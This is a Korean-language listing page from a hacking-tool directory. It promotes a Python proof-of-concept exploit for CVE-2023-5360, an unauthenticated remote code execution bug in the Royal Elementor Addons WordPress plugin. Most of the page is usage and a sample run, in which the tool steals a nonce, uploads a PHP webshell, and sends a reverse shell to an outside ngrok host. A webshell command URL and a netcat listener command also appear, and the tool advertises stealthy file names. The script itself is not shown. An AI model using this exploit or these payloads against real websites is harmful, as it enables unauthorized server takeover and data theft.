Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-5360 — Royal Elementor Addons - 인증되지 않은 원격 코드 실행 | Kitploit
도구/GitHubGitHub/x3rx3ssec/cve-2023-5360
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration Testing
GitHubx3rx3ssec/cve-2023-5360

CVE-2023-5360

Royal Elementor Addons - 인증되지 않은 원격 코드 실행

저장소 보기
2111년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-5360 Elementor 파일 업로드 익스플로잇

Royal Elementor Addons and Templates WordPress 플러그인 1.3.79 이전 버전은 업로드된 파일을 적절히 검증하지 않아, 인증되지 않은 사용자가 PHP와 같은 임의의 파일을 업로드하여 RCE를 달성할 수 있습니다.

root@kitploit:~
   _______    ________     
  / ____/ |  / / ____/     
 / /    | | / / __/______  
/ /___  | |/ /__/_____/  
\____/  |___/_____/_____   
  |__ \ / __ \__ \|__  /   
  __/ // / / /_/ / /_ <    
 / __// /_/ / __/___/ /    
/____/\____/____/____/____ 
   / ____/__  // ___// __ \
  /___ \  /_ </ __ \/ / / /
 ____/ /___/ / /_/ / /_/ / 
/_____//____/\____/\____/  

by X3RX3S

설명

CVE-2023-5360에 대한 개념 증명 익스플로잇입니다. 이 취약점은 WordPress용 Elementor Pro의 파일 업로드 취약점으로, 인증되지 않은 공격자가 임의의 PHP 파일을 업로드하고 원격 코드 실행을 달성할 수 있습니다.

기능

  • Elementor nonce 자동 획득
  • 간단한 웹쉘 또는 리버스 쉘 업로드
  • 은밀성을 위한 고유 파일명
  • 선택적 Netcat 리스너 도우미
  • 매우 섹시함

사용법

root@kitploit:~
python3 CVE-2023-5360.py <https://victim.site/>

예시:

root@kitploit:~
python3 CVE-2023-5360.py https://victim.site/


      _______    ________     
     / ____/ |  / / ____/     
    / /    | | / / __/______  
   / /___  | |/ /__/_____/  
   \____/  |___/_____/_____   
       |__ \ / __ \__ \|__  /   
       __/ // / / /_/ / /_ <    
      / __// /_/ / __/___/ /    
     /____/\____/____/____/____ 
         / ____/__  // ___// __ \
        /___ \  /_ </ __ \/ / / /
       ____/ /___/ / /_/ / /_/ / 
      /_____//____/\____/\____/  

         github.com/X3RX3SSec    
      by X3RX3S aka @mindfuckerrrr


[+] Target: https://victim.site
[+] Elementor page: https://victim.site)
[*] Step 1: Grabbing Elementor nonce...
[+] HTTP 200 received from target
[+] Nonce extracted: fdcb5015cd

[*] Step 2: Configure payload
  [1] Simple command webshell
  [2] Reverse shell (bash)
[?] Choose payload [1/2]: 2
[?] LHOST (your IP): 7.tcp.eu.ngrok.io
[?] LPORT (your PORT): 31337
[+] Reverse shell payload generated for 7.tcp.eu.ngrok.io:31337
[?] Start built-in listener? [Y/n]: Y
[+] Starting local listener on 7.tcp.eu.ngrok.io:31337...

[*] Attempt 1 of 3: Uploading payload via AJAX exploit...
[>] POST https://victim.site/wp-admin/admin-ajax.php
listening on [any] 31337 ...
[+] HTTP 200 from upload handler
[+] Shell uploaded: https://victim.site/wp-content/uploads/wpr-addons/forms/shell-6253.php
[*] Triggering reverse shell. Have your listener ready!
[+] Trigger sent (timeout is normal for reverse shell).
[+] Arrr! Cannons fired. Check your listener! 🏴‍☠️💣

페이로드 옵션:

  1. 간단한 명령 웹쉘 (?cmd=id 형식: https://victim.site/wp-content/uploads/wpr-addons/forms/shell.php?cmd=id)
  2. 리버스 쉘 (Bash)

의존성

  • Python 3.x
  • requests 모듈

의존성 설치:

root@kitploit:~
pip install requests

리스너 예시

root@kitploit:~
nc -lvnp 1337

면책 조항

이 익스플로잇은 교육 및 허가된 보안 테스트 용도로만 제공됩니다. 사용 방법에 대한 책임은 본인에게 있습니다. 소유하거나 테스트 권한이 있는 시스템에서만 테스트하십시오.

크레딧

작성자: X3RX3S CVE-2023-5360

도구 다운로드